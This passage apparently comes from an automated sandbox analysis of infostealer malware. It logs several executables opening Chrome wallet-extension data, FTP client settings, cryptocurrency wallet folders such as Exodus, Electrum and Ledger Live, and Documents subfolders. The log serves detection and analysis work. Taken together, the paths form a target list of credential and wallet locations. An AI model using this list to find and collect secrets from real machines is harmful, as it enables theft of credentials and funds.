Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Directory queried: C:\Users\user\Documents
